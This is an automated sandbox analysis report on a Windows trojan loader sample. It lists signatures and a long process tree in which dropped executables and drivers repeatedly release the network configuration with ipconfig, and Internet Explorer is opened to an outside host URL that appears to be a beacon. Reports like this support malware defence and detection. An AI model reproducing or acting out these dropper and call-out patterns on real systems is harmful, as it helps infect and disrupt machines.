Analysis
- max time kernel
149s - max time network
140s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
10/11/2026, 21:34
General
- Target 2026-11-09_41ec3befc982377332782c1a2908c923_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
- Size 365KB
- Sample261110-1eq2psbd35
- SHA256 35864c26c696ea0190da9e8c9003bf3f11fe927ff92f16bc0ec56455a68645da
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 55 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 6 IoCs
- Suspicious use of WriteProcessMemory 62 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-11-09_41ec3befc982377332782c1a2908c923_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-09_41ec3befc982377332782c1a2908c923_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\pnhfzxspkhcausmk.exeC:\Temp\pnhfzxspkhcausmk.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zusmkfcxup.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\zusmkfcxup.exeC:\Temp\zusmkfcxup.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zusmkfcxup.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_zusmkfcxup.exeC:\Temp\i_zusmkfcxup.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwupmhfzx.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ecwupmhfzx.exeC:\Temp\ecwupmhfzx.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwupmhfzx.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ecwupmhfzx.exeC:\Temp\i_ecwupmhfzx.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\cwupezwrpj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\cwupezwrpj.exeC:\Temp\cwupezwrpj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_cwupezwrpj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_cwupezwrpj.exeC:\Temp\i_cwupezwrpj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ljebwuomge.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ljebwuomge.exeC:\Temp\ljebwuomge.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ljebwuomge.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ljebwuomge.exeC:\Temp\i_ljebwuomge.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wtomgeywqo.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\wtomgeywqo.exeC:\Temp\wtomgeywqo.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wtomgeywqo.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_wtomgeywqo.exeC:\Temp\i_wtomgeywqo.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jdbvtnlgdy.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jdbvtnlgdy.exeC:\Temp\jdbvtnlgdy.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jdbvtnlgdy.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jdbvtnlgdy.exeC:\Temp\i_jdbvtnlgdy.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vqoigaysql.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\vqoigaysql.exeC:\Temp\vqoigaysql.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vqoigaysql.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_vqoigaysql.exeC:\Temp\i_vqoigaysql.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qkidxvpnif.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\qkidxvpnif.exeC:\Temp\qkidxvpnif.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qkidxvpnif.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_qkidxvpnif.exeC:\Temp\i_qkidxvpnif.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hfzxspkica.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\hfzxspkica.exeC:\Temp\hfzxspkica.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hfzxspkica.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_hfzxspkica.exeC:\Temp\i_hfzxspkica.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\causmkecxu.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\causmkecxu.exeC:\Temp\causmkecxu.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_causmkecxu.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_causmkecxu.exeC:\Temp\i_causmkecxu.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\erpjhbzurm.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\erpjhbzurm.exeC:\Temp\erpjhbzurm.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_erpjhbzurm.exe ups_ins3⤵
-
C:\Temp\i_erpjhbzurm.exeC:\Temp\i_erpjhbzurm.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wrojhbztrm.exe ups_run3⤵
-
C:\Temp\wrojhbztrm.exeC:\Temp\wrojhbztrm.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wrojhbztrm.exe ups_ins3⤵
-
C:\Temp\i_wrojhbztrm.exeC:\Temp\i_wrojhbztrm.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mgbztrljdb.exe ups_run3⤵
-
C:\Temp\mgbztrljdb.exeC:\Temp\mgbztrljdb.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mgbztrljdb.exe ups_ins3⤵
-
C:\Temp\i_mgbztrljdb.exeC:\Temp\i_mgbztrljdb.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\dbvtolgeyw.exe ups_run3⤵
-
C:\Temp\dbvtolgeyw.exeC:\Temp\dbvtolgeyw.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_dbvtolgeyw.exe ups_ins3⤵
-
C:\Temp\i_dbvtolgeyw.exeC:\Temp\i_dbvtolgeyw.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bnlfdyvqli.exe ups_run3⤵
-
C:\Temp\bnlfdyvqli.exeC:\Temp\bnlfdyvqli.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bnlfdyvqli.exe ups_ins3⤵
-
C:\Temp\i_bnlfdyvqli.exeC:\Temp\i_bnlfdyvqli.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vqnigaysqk.exe ups_run3⤵
-
C:\Temp\vqnigaysqk.exeC:\Temp\vqnigaysqk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vqnigaysqk.exe ups_ins3⤵
-
C:\Temp\i_vqnigaysqk.exeC:\Temp\i_vqnigaysqk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qkicavsnlf.exe ups_run3⤵
-
C:\Temp\qkicavsnlf.exeC:\Temp\qkicavsnlf.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qkicavsnlf.exe ups_ins3⤵
-
C:\Temp\i_qkicavsnlf.exeC:\Temp\i_qkicavsnlf.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kfcxvpnhfz.exe ups_run3⤵
-
C:\Temp\kfcxvpnhfz.exeC:\Temp\kfcxvpnhfz.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kfcxvpnhfz.exe ups_ins3⤵
-
C:\Temp\i_kfcxvpnhfz.exeC:\Temp\i_kfcxvpnhfz.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mhfzxjhczu.exe ups_run3⤵
-
C:\Temp\mhfzxjhczu.exeC:\Temp\mhfzxjhczu.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mhfzxjhczu.exe ups_ins3⤵
-
C:\Temp\i_mhfzxjhczu.exeC:\Temp\i_mhfzxjhczu.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwuomhezx.exe ups_run3⤵
-
C:\Temp\ecwuomhezx.exeC:\Temp\ecwuomhezx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:5676 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Temp\pnhfzxspkhcausmk.sysC:\Temp\pnhfzxspkhcausmk.sys1⤵
- Executes dropped EXE
-
C:\Temp\xspkicamke.sysC:\Temp\xspkicamke.sys1⤵
- Executes dropped EXE
-
C:\Temp\jhczusmkec.sysC:\Temp\jhczusmkec.sys1⤵
- Executes dropped EXE
-
C:\Temp\wrojhbztrm.sysC:\Temp\wrojhbztrm.sys1⤵
- Executes dropped EXE
-
C:\Temp\gbwtolgeyw.sysC:\Temp\gbwtolgeyw.sys1⤵
- Executes dropped EXE
-
C:\Temp\ywigbytqlj.sysC:\Temp\ywigbytqlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\lfdyvqoiga.sysC:\Temp\lfdyvqoiga.sys1⤵
- Executes dropped EXE
-
C:\Temp\xvqnigaysq.sysC:\Temp\xvqnigaysq.sys1⤵
- Executes dropped EXE
-
C:\Temp\snkfcxvpnh.sysC:\Temp\snkfcxvpnh.sys1⤵
- Executes dropped EXE
-
C:\Temp\vpfzxspkhc.sysC:\Temp\vpfzxspkhc.sys1⤵
- Executes dropped EXE
-
C:\Temp\mkecwupmhf.sysC:\Temp\mkecwupmhf.sys1⤵
- Executes dropped EXE
-
C:\Temp\ecwuomgezw.sysC:\Temp\ecwuomgezw.sys1⤵
-
C:\Temp\trljebwuom.sysC:\Temp\trljebwuom.sys1⤵
-
C:\Temp\wrojytrljd.sysC:\Temp\wrojytrljd.sys1⤵
-
C:\Temp\ljdbvtolgd.sysC:\Temp\ljdbvtolgd.sys1⤵
-
C:\Temp\davtnlfdyv.sysC:\Temp\davtnlfdyv.sys1⤵
-
C:\Temp\xsqkicausn.sysC:\Temp\xsqkicausn.sys1⤵
-
C:\Temp\axsqkiusnk.sysC:\Temp\axsqkiusnk.sys1⤵
-
C:\Temp\xsmkecxupn.sysC:\Temp\xsmkecxupn.sys1⤵
-
C:\Temp\pjhczusmke.sysC:\Temp\pjhczusmke.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CreateProcess.exe
cwupezwrpj.exe
ecwupmhfzx.exe
gbwtolgeyw.sys
i_cwupezwrpj.exe
i_ecwupmhfzx.exe
i_jdbvtnlgdy.exe
i_ljebwuomge.exe
i_vqoigaysql.exe
i_wtomgeywqo.exe
i_zusmkfcxup.exe
jdbvtnlgdy.exe
jhczusmkec.sys
lfdyvqoiga.sys
ljebwuomge.exe
pnhfzxspkhcausmk.exe
pnhfzxspkhcausmk.sys
qkidxvpnif.exe
vqoigaysql.exe
wrojhbztrm.sys
wtomgeywqo.exe
xspkicamke.sys
xvqnigaysq.sys
ywigbytqlj.sys
zusmkfcxup.exe
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
suggestions[1].en-US
known_providers_download_v1[1].xml
favicon[1].ico
memory/792-90-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/996-14-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/1828-170-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2184-186-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2700-174-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/2932-182-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3212-116-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3424-73-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3484-162-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3520-145-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3520-150-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/3876-128-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/4232-49-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5344-166-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5436-149-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5568-104-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5908-158-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5936-178-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/5952-61-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6000-154-0x0000000000010000-0x00000000000AB000-memory.dmp
memory/6132-134-0x0000000000010000-0x00000000000AB000-memory.dmp